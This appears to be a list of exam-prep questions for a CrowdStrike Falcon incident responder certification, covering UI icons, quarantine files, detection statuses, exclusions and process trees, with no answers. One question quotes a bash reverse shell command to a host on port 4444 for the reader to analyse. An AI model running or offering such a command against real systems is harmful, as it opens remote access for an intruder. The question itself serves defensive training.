In the full detection tree view, icons provide visual cues about the telemetry. What does the specific icon representing a ' Falcon ' (blue bird) indicate to the responder?
An administrator needs to download a file for analysis that was blocked by the sensor. Where are quarantine files located within the Falcon UI?
An analyst wants to see the raw events behind a specific detection. Which icon in the UI allows them to pivot directly to an event search?
Refer to the image.
Command line:
/bin/bash -c sh -i > & /dev/tcp/172.17.0.21/4444 0 > & 1
File path:
/bin/bash
You receive a detection on the Bash process indicating the command line in the image above.
Based on the command line, what is the next step you should take?
An analyst notices a detection that has been automatically flagged with the ' New Activity ' status. Which of the following statements best describes what this status indicates?
What happens when you create a Sensor Visibility Exclusion for a trusted file path?
Evaluate the following process tree observed in a detection:
root > smss.exe > winlogon.exe > userinit.exe > explorer.exe > windows_media_player_y35s21-4ak.exe
Based on the parent-child relationships, which entry source is most likely?
TESTED 05 Jul 2026
